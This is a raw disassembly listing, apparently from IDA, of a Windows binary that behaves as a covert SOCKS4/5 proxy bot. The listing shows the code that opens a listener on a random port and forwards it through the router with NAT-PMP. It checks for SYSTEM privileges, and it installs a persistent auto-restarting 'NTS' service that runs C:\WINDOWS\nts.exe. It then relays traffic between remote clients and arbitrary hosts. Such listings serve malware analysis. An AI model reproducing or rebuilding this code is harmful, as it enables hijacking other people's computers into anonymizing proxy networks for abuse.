cmp dword_411030, 0 jz short loc_4040B7 lea eax, [ebp+var_4] push eax call sub_401001 pop ecx mov ecx, 3Ch cdq idiv ecx lea eax, [edx+6EAh] mov edi, eax push edi push offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n" call nullsub_2 pop ecx pop ecx mov ebx, edi jmp short loc_40409A ; --------------------------------------------------------------------------- loc_404074: ; CODE XREF: sub_40400E+8Ej push ebx push offset aISecondsLeft_ ; "\r%i seconds left \b\b\b." call nullsub_2 pop ecx pop ecx push 7D0h call dword_411D00 ; Sleep sub ebx, 2 call sub_403658 test eax, eax jz short loc_40409A xor ebx, ebx loc_40409A: ; CODE XREF: sub_40400E+64j ; sub_40400E+88j test ebx, ebx jg short loc_404074 push offset asc_40EAC3 ; "\r \r" call nullsub_2 pop ecx cmp dword_411030, 0 jz short loc_4040B7 jmp loc_404019 ; --------------------------------------------------------------------------- loc_4040B7: ; CODE XREF: sub_40400E+39j ; sub_40400E+A2j call sub_4079A0 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40400E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040C3 proc near ; CODE XREF: sub_4066F1+3DFp ; sub_4066F1+488p ... var_44 = dword ptr -44h var_40 = byte ptr -40h var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 44h mov [ebp+var_44], 3Fh lea eax, [ebp+var_44] push eax lea eax, [ebp+var_40] push eax call dword_411E40 ; GetUserNameA test eax, eax jz short loc_40410A cmp [ebp+var_44], 6 jnb short loc_4040EC xor eax, eax jmp short loc_40410A ; --------------------------------------------------------------------------- loc_4040EC: ; CODE XREF: sub_4040C3+23j mov [ebp+var_1], 0 lea eax, [ebp+var_40] push eax push offset aSystem ; "SYSTEM" call dword_411D38 ; lstrcmpi test eax, eax jz short loc_404107 xor eax, eax jmp short loc_40410A ; --------------------------------------------------------------------------- loc_404107: ; CODE XREF: sub_4040C3+3Ej xor eax, eax inc eax loc_40410A: ; CODE XREF: sub_4040C3+1Dj ; sub_4040C3+27j ... mov esp, ebp pop ebp retn sub_4040C3 endp ; =============== S U B R O U T I N E ======================================= sub_40410E proc near ; CODE XREF: sub_405AC9+1p ; sub_405BE3:loc_405C59p ... push ebx cmp dword_411028, 0 jz short loc_40411C xor eax, eax jmp short loc_404160 ; --------------------------------------------------------------------------- loc_40411C: ; CODE XREF: sub_40410E+8j xor ebx, ebx push offset a_win32__nts_um ; "_win32__nts_um__" push 0 push 0 call dword_411D08 ; CreateMutexA mov dword_411028, eax cmp dword_411028, 0 jz short loc_40415E call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_40415E xor ebx, ebx inc ebx push dword_411028 call dword_411CF8 ; CloseHandle and dword_411028, 0 loc_40415E: ; CODE XREF: sub_40410E+2Bj ; sub_40410E+38j mov eax, ebx loc_404160: ; CODE XREF: sub_40410E+Cj pop ebx retn sub_40410E endp ; =============== S U B R O U T I N E ======================================= sub_404162 proc near ; CODE XREF: sub_405AC9+3Dp ; sub_405BE3+5Ap ... cmp dword_411028, 0 jz short locret_40417E push dword_411028 call dword_411CF8 ; CloseHandle and dword_411028, 0 locret_40417E: ; CODE XREF: sub_404162+7j retn sub_404162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40417F proc near ; CODE XREF: sub_4041FB+2Ep var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h push ebp mov ebp, esp sub esp, 20h push ebx lea ebx, [ebp+var_20] mov byte ptr [ebx], 0 inc ebx movzx eax, [ebp+arg_4] mov [ebx], al inc ebx mov ax, [ebp+arg_C] mov [ebx], ax add ebx, 2 mov eax, [ebp+arg_8] mov [ebx], eax push 8 lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_401787 add esp, 0Ch pop ebx mov esp, ebp pop ebp retn sub_40417F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041B9 proc near ; CODE XREF: sub_4041FB+47p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h push ebp mov ebp, esp sub esp, 20h push ebx lea ebx, [ebp+var_20] mov byte ptr [ebx], 5 inc ebx movzx eax, [ebp+arg_4] mov [ebx], al inc ebx mov byte ptr [ebx], 0 inc ebx mov byte ptr [ebx], 1 inc ebx mov eax, [ebp+arg_8] mov [ebx], eax add ebx, 4 mov ax, [ebp+arg_C] mov [ebx], ax push 0Ah lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_401787 add esp, 0Ch pop ebx mov esp, ebp pop ebp retn sub_4041B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041FB proc near ; CODE XREF: sub_4042CD+1F8p ; sub_4042CD+3B4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = word ptr 18h push ebp mov ebp, esp push ebx mov bl, [ebp+arg_8] cmp bl, 9 jbe short loc_40420B xor bl, bl inc bl loc_40420B: ; CODE XREF: sub_4041FB+Aj cmp [ebp+arg_0], 4 jnz short loc_404233 movzx eax, bl mov bl, byte_411034[eax] movzx eax, [ebp+arg_10] push eax push [ebp+arg_C] movzx eax, bl push eax push [ebp+arg_4] call sub_40417F add esp, 10h jmp short loc_40424A ; --------------------------------------------------------------------------- loc_404233: ; CODE XREF: sub_4041FB+14j movzx eax, [ebp+arg_10] push eax push [ebp+arg_C] movzx eax, bl push eax push [ebp+arg_4] call sub_4041B9 add esp, 10h loc_40424A: ; CODE XREF: sub_4041FB+36j pop ebx pop ebp retn sub_4041FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40424D proc near ; CODE XREF: sub_4042CD+182p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx mov ebx, [ebp+arg_0] loc_404255: ; CODE XREF: sub_40424D+23j push 1 lea eax, [ebp+var_1] push eax push ebx call sub_4016DC add esp, 0Ch test eax, eax jg short loc_40426C xor eax, eax jmp short loc_404275 ; --------------------------------------------------------------------------- loc_40426C: ; CODE XREF: sub_40424D+19j cmp [ebp+var_1], 0 jnz short loc_404255 xor eax, eax inc eax loc_404275: ; CODE XREF: sub_40424D+1Dj pop ebx mov esp, ebp pop ebp retn sub_40424D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40427A proc near ; CODE XREF: sub_4042CD+1B9p var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_4] mov esi, [ebp+arg_8] xor edi, edi mov byte ptr [ebx], 0 loc_40428C: ; CODE XREF: sub_40427A+47j push 1 lea eax, [ebp+var_1] push eax push [ebp+arg_0] call sub_4016DC add esp, 0Ch test eax, eax jg short loc_4042A5 xor eax, eax jmp short loc_4042C6 ; --------------------------------------------------------------------------- loc_4042A5: ; CODE XREF: sub_40427A+25j mov eax, edi inc edi mov dl, [ebp+var_1] mov [ebx+eax], dl mov byte ptr [ebx+edi], 0 lea eax, [esi-1] cmp edi, eax jl short loc_4042BD xor eax, eax jmp short loc_4042C6 ; --------------------------------------------------------------------------- loc_4042BD: ; CODE XREF: sub_40427A+3Dj cmp [ebp+var_1], 0 jnz short loc_40428C xor eax, eax inc eax loc_4042C6: ; CODE XREF: sub_40427A+29j ; sub_40427A+41j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40427A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4042CD proc near ; DATA XREF: sub_404967+214o ; DMN1:00445AFCo var_430 = dword ptr -430h var_42B = byte ptr -42Bh var_42A = byte ptr -42Ah var_429 = byte ptr -429h var_428 = dword ptr -428h var_421 = byte ptr -421h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_411 = byte ptr -411h var_410 = dword ptr -410h var_40A = word ptr -40Ah var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 430h push ebx push esi push edi mov eax, [ebp+arg_0] mov [ebp+var_41C], eax mov edi, [eax+8] mov eax, [ebp+var_41C] mov edx, [eax] mov [ebp+var_410], edx mov dx, [eax+4] mov [ebp+var_40A], dx push eax call sub_401076 pop ecx and [ebp+var_4], 0 mov eax, [ebp+var_410] mov [ebp+var_420], eax push eax call sub_406D20 ; inet_ntoa mov [ebp+var_418], eax movzx eax, [ebp+var_40A] push eax push [ebp+var_418] push offset aConnectionFrom ; "connection from [%s]\n" call sub_407260 add esp, 0Ch mov [ebp+var_411], 0 mov [ebp+var_421], 0 push 1 lea eax, [ebp+var_411] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A push offset dword_41285C call dword_411CCC ; RtlEnterCriticalSection push 0 push [ebp+var_410] push dword_412934 call sub_401FE3 add esp, 0Ch mov [ebp+var_428], eax push offset dword_41285C call dword_411CD0 ; RtlLeaveCriticalSection cmp [ebp+var_428], 0 jnz short loc_4043B6 push [ebp+var_418] push offset aConnectionReje ; "connection rejected (from [%s])\n" call nullsub_1 pop ecx pop ecx jmp loc_40493A ; --------------------------------------------------------------------------- loc_4043B6: ; CODE XREF: sub_4042CD+D0j mov [ebp+var_40A], 0 and [ebp+var_410], 0 mov al, [ebp+var_411] cmp al, 4 jz short loc_4043D8 cmp al, 5 jnz loc_40493A loc_4043D8: ; CODE XREF: sub_4042CD+101j push [ebp+var_418] movsx eax, [ebp+var_411] push eax push offset aSocksVIS ; "socks v%i [%s]\n" call nullsub_1 add esp, 0Ch cmp [ebp+var_411], 4 jnz loc_4044D2 push 1 lea eax, [ebp+var_421] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A push 2 lea eax, [ebp+var_40A] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A push 4 lea eax, [ebp+var_410] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A push edi call sub_40424D pop ecx test eax, eax jz loc_40493A mov eax, [ebp+var_410] test eax, 0FFFFFFh jnz loc_4046BE test eax, 0FF000000h jz loc_4046BE push 400h lea eax, [ebp+var_408] push eax push edi call sub_40427A add esp, 0Ch test eax, eax jz loc_40493A lea eax, [ebp+var_408] push eax call sub_4017BE pop ecx mov [ebp+var_410], eax test eax, eax jz short loc_4044BC cmp eax, 0FFFFFFFFh jz short loc_4044BC test eax, eax jnz loc_4046BE loc_4044BC: ; CODE XREF: sub_4042CD+1DEj ; sub_4042CD+1E5j push 0 push 0 push 4 push edi push 4 call sub_4041FB add esp, 14h jmp loc_40493A ; --------------------------------------------------------------------------- loc_4044D2: ; CODE XREF: sub_4042CD+12Dj cmp [ebp+var_411], 5 jnz loc_40493A mov [ebp+var_429], 0 push 1 lea eax, [ebp+var_429] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jg short loc_404522 jmp loc_40493A ; --------------------------------------------------------------------------- loc_404501: ; CODE XREF: sub_4042CD+25Cj push 1 lea eax, [ebp+var_42A] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A sub [ebp+var_429], 1 loc_404522: ; CODE XREF: sub_4042CD+22Dj cmp [ebp+var_429], 0 jnz short loc_404501 mov [ebp+var_430], 5 push 2 lea eax, [ebp+var_430] push eax push edi call sub_401787 add esp, 0Ch test eax, eax jle loc_40493A push 1 lea eax, [ebp+var_42A] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A cmp [ebp+var_42A], 5 jnz loc_40493A push 1 lea eax, [ebp+var_421] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A push 1 lea eax, [ebp+var_42A] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A mov [ebp+var_42B], 0 push 1 lea eax, [ebp+var_42B] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A cmp [ebp+var_42B], 1 jnz short loc_4045F3 push 4 lea eax, [ebp+var_410] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jg loc_4046A4 jmp loc_40493A ; --------------------------------------------------------------------------- loc_4045F3: ; CODE XREF: sub_4042CD+305j cmp [ebp+var_42B], 3 jnz loc_40468E push 1 lea eax, [ebp+var_429] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A cmp [ebp+var_429], 0 jz loc_40493A movsx eax, [ebp+var_429] push eax lea eax, [ebp+var_408] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A movsx eax, [ebp+var_429] mov [ebp+eax+var_408], 0 lea eax, [ebp+var_408] push eax call sub_4017BE pop ecx mov [ebp+var_410], eax test eax, eax jz short loc_404678 cmp eax, 0FFFFFFFFh jz short loc_404678 test eax, eax jnz short loc_4046A4 loc_404678: ; CODE XREF: sub_4042CD+39Ej ; sub_4042CD+3A5j push 0 push 0 push 4 push edi push 5 call sub_4041FB add esp, 14h jmp loc_40493A ; --------------------------------------------------------------------------- loc_40468E: ; CODE XREF: sub_4042CD+32Dj push 0 push 0 push 8 push edi push 5 call sub_4041FB add esp, 14h jmp loc_40493A ; --------------------------------------------------------------------------- loc_4046A4: ; CODE XREF: sub_4042CD+31Bj ; sub_4042CD+3A9j push 2 lea eax, [ebp+var_40A] push eax push edi call sub_4016DC add esp, 0Ch test eax, eax jle loc_40493A loc_4046BE: ; CODE XREF: sub_4042CD+19Bj ; sub_4042CD+1A6j ... movzx eax, [ebp+var_40A] push eax call sub_406CD8 ; htons mov [ebp+var_40A], ax test ax, ax jnz short loc_4046F3 push 0 push 0 push 2 push edi movsx eax, [ebp+var_411] push eax call sub_4041FB add esp, 14h jmp loc_40493A ; --------------------------------------------------------------------------- loc_4046F3: ; CODE XREF: sub_4042CD+408j cmp [ebp+var_421], 1 jz short loc_404722 movzx eax, [ebp+var_40A] push eax push [ebp+var_410] push 7 push edi movsx eax, [ebp+var_411] push eax call sub_4041FB add esp, 14h jmp loc_40493A ; --------------------------------------------------------------------------- loc_404722: ; CODE XREF: sub_4042CD+42Dj call sub_401359 mov [ebp+var_4], eax test eax, eax jnz short loc_40474A push 0 push 0 push 1 push edi movsx eax, [ebp+var_411] push eax call sub_4041FB add esp, 14h jmp loc_40493A ; --------------------------------------------------------------------------- loc_40474A: ; CODE XREF: sub_4042CD+45Fj mov eax, [ebp+var_410] mov [ebp+var_420], eax push eax call sub_406D20 ; inet_ntoa mov [ebp+var_418], eax movzx eax, [ebp+var_40A] push eax push [ebp+var_418] push offset aConnectingToSI ; "connecting to %s:%i\n" call nullsub_1 add esp, 0Ch movzx eax, [ebp+var_40A] push eax push [ebp+var_410] push [ebp+var_4] call sub_401567 add esp, 0Ch test eax, eax jnz short loc_4047E1 call sub_406D32 ; WSAGetLastError push eax movzx eax, [ebp+var_40A] push eax push [ebp+var_418] push offset aConnectionToSI ; "connection to %s:%i failed! %-( (%i)\n" call nullsub_1 add esp, 10h movzx eax, [ebp+var_40A] push eax push [ebp+var_410] push 4 push edi movsx eax, [ebp+var_411] push eax call sub_4041FB add esp, 14h jmp loc_40493A ; --------------------------------------------------------------------------- loc_4047E1: ; CODE XREF: sub_4042CD+4CBj movzx eax, [ebp+var_40A] push eax push [ebp+var_418] push offset aConnectedToSI ; "connected to %s:%i\n" call nullsub_1 add esp, 0Ch movzx eax, [ebp+var_40A] push eax push [ebp+var_410] push 0 push edi movsx eax, [ebp+var_411] push eax call sub_4041FB add esp, 14h test eax, eax jz loc_40493A push offset aTransferringDa ; "transferring data...\n" call nullsub_1 pop ecx xor esi, esi loc_404832: ; CODE XREF: sub_4042CD+64Cj ; sub_4042CD+65Dj inc esi push edi call sub_4014CF pop ecx test eax, eax jl loc_40492F push edi call sub_401542 pop ecx mov ebx, eax test ebx, ebx jl loc_40492F cmp esi, 1Eh jle short loc_40485F test ebx, ebx jnz short loc_40485F xor ebx, ebx inc ebx loc_40485F: ; CODE XREF: sub_4042CD+589j ; sub_4042CD+58Dj test ebx, ebx jle short loc_4048AB cmp ebx, 400h jle short loc_404870 mov ebx, 400h loc_404870: ; CODE XREF: sub_4042CD+59Cj push ebx lea eax, [ebp+var_408] push eax push edi call sub_4016DC add esp, 0Ch mov [ebp+var_8], eax test eax, eax jle loc_40492F push [ebp+var_8] lea eax, [ebp+var_408] push eax push [ebp+var_4] call sub_401787 add esp, 0Ch test eax, eax jle loc_40493A xor esi, esi loc_4048AB: ; CODE XREF: sub_4042CD+594j push [ebp+var_4] call sub_4014CF pop ecx test eax, eax jl short loc_40492F push [ebp+var_4] call sub_401542 pop ecx mov ebx, eax test ebx, ebx jl short loc_40492F cmp esi, 1Eh jle short loc_4048D3 test ebx, ebx jnz short loc_4048D3 xor ebx, ebx inc ebx loc_4048D3: ; CODE XREF: sub_4042CD+5FDj ; sub_4042CD+601j test ebx, ebx jle short loc_404917 cmp ebx, 400h jle short loc_4048E4 mov ebx, 400h loc_4048E4: ; CODE XREF: sub_4042CD+610j push ebx lea eax, [ebp+var_408] push eax push [ebp+var_4] call sub_4016DC add esp, 0Ch mov [ebp+var_8], eax test eax, eax jle short loc_40492F push [ebp+var_8] lea eax, [ebp+var_408] push eax push edi call sub_401787 add esp, 0Ch test eax, eax jle short loc_40493A xor esi, esi loc_404917: ; CODE XREF: sub_4042CD+608j test esi, esi jz loc_404832 push 12Ch call dword_411D00 ; Sleep jmp loc_404832 ; --------------------------------------------------------------------------- loc_40492F: ; CODE XREF: sub_4042CD+56Fj ; sub_4042CD+580j ... push offset aDataExchangeCo ; "data exchange complete\n" call nullsub_1 pop ecx loc_40493A: ; CODE XREF: sub_4042CD+91j ; sub_4042CD+E4j ... push offset aConnectionClos ; "connection closed.\n" call nullsub_1 pop ecx push edi call sub_4014C2 pop ecx cmp [ebp+var_4], 0 jz short loc_40495B push [ebp+var_4] call sub_4014C2 pop ecx loc_40495B: ; CODE XREF: sub_4042CD+683j call sub_4079A0 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4042CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404967 proc near ; DATA XREF: sub_406677+62o ; DMN1:0044765Ao var_12 = word ptr -12h var_10 = dword ptr -10h var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi and [ebp+var_4], 0 and dword_41100C, 0 push offset aListener___ ; "listener...\n" call nullsub_1 pop ecx lea eax, [ebp+var_A] push eax call sub_4024A6 pop ecx mov bx, ax test bx, bx jz short loc_4049BB cmp bx, 0FFFFh jz short loc_4049BB movzx eax, bx cmp dword_411010, eax jz short loc_4049BB movzx eax, bx mov dword_411010, eax movzx eax, [ebp+var_A] mov dword_41100C, eax loc_4049BB: ; CODE XREF: sub_404967+2Fj ; sub_404967+36j ... call sub_401359 mov dword_411030, eax loc_4049C5: ; CODE XREF: sub_404967+D7j cmp dword_41100C, 0 jnz short loc_4049FE loc_4049CE: ; CODE XREF: sub_404967+8Ej ; sub_404967+95j lea eax, [ebp+var_4] push eax call sub_401001 pop ecx mov ecx, 0C350h cdq idiv ecx lea eax, [edx+2710h] mov dword_41100C, eax mov eax, dword_41100C cmp eax, 24A2h jz short loc_4049CE cmp eax, 15B7h jz short loc_4049CE loc_4049FE: ; CODE XREF: sub_404967+65j movzx eax, word ptr dword_41100C push eax push 0 push dword_411030 call sub_4015B7 add esp, 0Ch test eax, eax jnz short loc_404A40 and dword_41100C, 0 and dword_411010, 0 push dword_411030 call sub_4014C2 pop ecx call sub_401359 mov dword_411030, eax jmp short loc_4049C5 ; --------------------------------------------------------------------------- loc_404A40: ; CODE XREF: sub_404967+B1j push dword_41100C push offset aSocksPortI ; "SOCKS port: %i\n" call sub_407260 pop ecx pop ecx mov eax, dword_41100C mov dword_411010, eax call sub_403113 mov [ebp+var_8], eax movzx eax, word ptr dword_411010 push eax movzx eax, word ptr dword_41100C push eax push [ebp+var_8] call sub_403322 add esp, 0Ch movzx eax, ax mov dword_411010, eax cmp dword_411010, 0 jnz short loc_404A9C mov eax, dword_41100C mov dword_411010, eax jmp short loc_404AAE ; --------------------------------------------------------------------------- loc_404A9C: ; CODE XREF: sub_404967+127j push dword_411010 push offset aNatpmpForwarde ; "NATPMP: forwarded to: %i\n" call sub_407260 pop ecx pop ecx loc_404AAE: ; CODE XREF: sub_404967+133j movzx eax, word ptr dword_41100C push eax push eax call sub_402B02 pop ecx pop ecx test eax, eax jz short loc_404AC7 mov eax, dword_41100C loc_404AC7: ; CODE XREF: sub_404967+159j push 1 push offset dword_411024 call dword_411D04 ; InterlockedExchange push 1 push offset dword_41102C call dword_411D04 ; InterlockedExchange push offset aStartingCommTh ; "starting COMM thread...\n" call nullsub_1 pop ecx push 0 push 0 push offset sub_40400E call sub_407910 add esp, 0Ch push eax call dword_411CF8 ; CloseHandle push 0C8h call dword_411D00 ; Sleep push 0 push 0 push offset sub_403FEA call sub_407910 add esp, 0Ch push eax call dword_411CF8 ; CloseHandle push 0C8h call dword_411D00 ; Sleep loc_404B32: ; CODE XREF: sub_404967+1F5j ; sub_404967+228j push dword_411030 call sub_401607 pop ecx test eax, eax jz short loc_404B91 lea eax, [ebp+var_12] push eax lea eax, [ebp+var_10] push eax push dword_411030 call sub_40166C add esp, 0Ch mov edi, eax test edi, edi jz short loc_404B32 push 0Ch call sub_401048 pop ecx mov esi, eax mov eax, [ebp+var_10] mov [esi], eax mov ax, [ebp+var_12] mov [esi+4], ax mov [esi+8], edi push esi push 0 push offset sub_4042CD call sub_407910 add esp, 0Ch push eax call dword_411CF8 ; CloseHandle jmp short loc_404B32 ; --------------------------------------------------------------------------- loc_404B91: ; CODE XREF: sub_404967+1D9j push 0 push offset dword_41102C call dword_411D04 ; InterlockedExchange push dword_411030 call sub_4014C2 pop ecx and dword_411030, 0 call sub_4079A0 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_404967 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx mov ebx, [ebp+10h] push 44h push 0 lea eax, [ebp-44h] push eax call sub_4075D0 add esp, 0Ch mov dword ptr [ebp-44h], 44h test ebx, ebx jz short loc_404BFA push offset asc_40EDC7 ; "\"" lea eax, [ebp-844h] push eax call sub_407670 pop ecx pop ecx jmp short loc_404C01 ; --------------------------------------------------------------------------- loc_404BFA: ; CODE XREF: DMN0:00404BE3j mov byte ptr [ebp-844h], 0 loc_404C01: ; CODE XREF: DMN0:00404BF8j cmp dword ptr [ebp+8], 0 jz short loc_404C1A push dword ptr [ebp+8] lea eax, [ebp-844h] push eax call sub_407690 pop ecx pop ecx jmp short loc_404C2D ; --------------------------------------------------------------------------- loc_404C1A: ; CODE XREF: DMN0:00404C05j push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" lea eax, [ebp-844h] push eax call sub_407690 pop ecx pop ecx loc_404C2D: ; CODE XREF: DMN0:00404C18j test ebx, ebx jz short loc_404C44 push offset asc_40EDC7 ; "\"" lea eax, [ebp-844h] push eax call sub_407690 pop ecx pop ecx loc_404C44: ; CODE XREF: DMN0:00404C2Fj cmp dword ptr [ebp+0Ch], 0 jz short loc_404C6E push offset asc_40EDB2 ; " " lea eax, [ebp-844h] push eax call sub_407690 pop ecx pop ecx push dword ptr [ebp+0Ch] lea eax, [ebp-844h] push eax call sub_407690 pop ecx pop ecx loc_404C6E: ; CODE XREF: DMN0:00404C48j lea eax, [ebp-854h] push eax lea eax, [ebp-44h] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp-844h] push eax push 0 call dword_411D10 ; CreateProcessA test eax, eax jz short loc_404CB3 push dword ptr [ebp-850h] call dword_411CF8 ; CloseHandle push dword ptr [ebp-854h] call dword_411CF8 ; CloseHandle xor eax, eax inc eax loc_404CB3: ; CODE XREF: DMN0:00404C96j pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_404CB8 proc near ; CODE XREF: sub_405BE3+21p ; sub_4066F1:loc_406A2Dp ... push ebx push esi push 0F003Fh push 0 push 0 call dword_411E44 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_404CFF push 4 push offset aNts ; "NTS" push ebx call dword_411E48 ; OpenServiceA mov esi, eax test esi, esi jnz short loc_404CEE push ebx call dword_411E4C ; CloseServiceHandle xor eax, eax jmp short loc_404CFF ; --------------------------------------------------------------------------- loc_404CEE: ; CODE XREF: sub_404CB8+29j push esi call dword_411E4C ; CloseServiceHandle push ebx call dword_411E4C ; CloseServiceHandle xor eax, eax inc eax loc_404CFF: ; CODE XREF: sub_404CB8+15j ; sub_404CB8+34j pop esi pop ebx retn sub_404CB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D02 proc near ; CODE XREF: sub_4066F1+3C4p var_1C = byte ptr -1Ch var_18 = dword ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi push 0F003Fh push 0 push 0 call dword_411E44 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_404D6C push 94h push offset aNts ; "NTS" push ebx call dword_411E48 ; OpenServiceA mov esi, eax test esi, esi jnz short loc_404D42 push ebx call dword_411E4C ; CloseServiceHandle xor eax, eax jmp short loc_404D6C ; --------------------------------------------------------------------------- loc_404D42: ; CODE XREF: sub_404D02+33j xor edi, edi lea eax, [ebp+var_1C] push eax push esi call dword_411E50 ; QueryServiceStatus test eax, eax jz short loc_404D5C cmp [ebp+var_18], 4 jnz short loc_404D5C xor edi, edi inc edi loc_404D5C: ; CODE XREF: sub_404D02+4Fj ; sub_404D02+55j push esi call dword_411E4C ; CloseServiceHandle push ebx call dword_411E4C ; CloseServiceHandle mov eax, edi loc_404D6C: ; CODE XREF: sub_404D02+1Cj ; sub_404D02+3Ej pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_404D02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D73 proc near ; CODE XREF: sub_404E08+32p ; sub_404E56+39p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx mov ebx, [ebp+arg_0] push 0 push 0 push 0 push 0 push 0 push 0 push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push 0 push 2 push 0FFFFFFFFh push ebx call dword_411E54 ; ChangeServiceConfigA test eax, eax jnz short loc_404DB5 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_404DB1 or eax, 0FFFFFFFFh jmp short loc_404E03 ; --------------------------------------------------------------------------- loc_404DB1: ; CODE XREF: sub_404D73+37j xor eax, eax jmp short loc_404E03 ; --------------------------------------------------------------------------- loc_404DB5: ; CODE XREF: sub_404D73+2Aj mov [ebp+var_1C], 1 and [ebp+var_18], 0 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 lea eax, [ebp+var_1C] mov [ebp+var_4], eax lea eax, [ebp+var_14] push eax push 2 push ebx call dword_411E58 ; ChangeServiceConfig2A test eax, eax jnz short loc_404E00 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_404DFC or eax, 0FFFFFFFFh jmp short loc_404E03 ; --------------------------------------------------------------------------- loc_404DFC: ; CODE XREF: sub_404D73+82j xor eax, eax jmp short loc_404E03 ; --------------------------------------------------------------------------- loc_404E00: ; CODE XREF: sub_404D73+75j xor eax, eax inc eax loc_404E03: ; CODE XREF: sub_404D73+3Cj ; sub_404D73+40j ... pop ebx mov esp, ebp pop ebp retn sub_404D73 endp ; =============== S U B R O U T I N E ======================================= sub_404E08 proc near ; CODE XREF: sub_404F2A+6Dp ; sub_405BE3:loc_405C1Bp push ebx push esi push edi xor edi, edi push 0F003Fh push 0 push 0 call dword_411E44 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_404E52 push 96h push offset aNts ; "NTS" push ebx call dword_411E48 ; OpenServiceA mov esi, eax test esi, esi jz short loc_404E49 push esi call sub_404D73 pop ecx mov edi, eax push esi call dword_411E4C ; CloseServiceHandle loc_404E49: ; CODE XREF: sub_404E08+2Fj push ebx call dword_411E4C ; CloseServiceHandle mov eax, edi loc_404E52: ; CODE XREF: sub_404E08+18j pop edi pop esi pop ebx retn sub_404E08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E56 proc near ; CODE XREF: DMN0:00405B1Ap ; sub_4066F1+428p ... var_1C = byte ptr -1Ch var_18 = dword ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi xor esi, esi push 0F003Fh push 0 push 0 call dword_411E44 ; OpenSCManagerA mov edi, eax test eax, eax jz loc_404F23 push 16h push offset aNts ; "NTS" push edi call dword_411E48 ; OpenServiceA mov ebx, eax test ebx, ebx jz short loc_404EB2 push ebx call sub_404D73 pop ecx mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_404EAE push ebx call dword_411E4C ; CloseServiceHandle push edi call dword_411E4C ; CloseServiceHandle mov eax, esi jmp short loc_404F23 ; --------------------------------------------------------------------------- loc_404EAE: ; CODE XREF: sub_404E56+44j xor esi, esi jmp short loc_404EC2 ; --------------------------------------------------------------------------- loc_404EB2: ; CODE XREF: sub_404E56+36j push 14h push offset aNts ; "NTS" push edi call dword_411E48 ; OpenServiceA mov ebx, eax loc_404EC2: ; CODE XREF: sub_404E56+5Aj test ebx, ebx 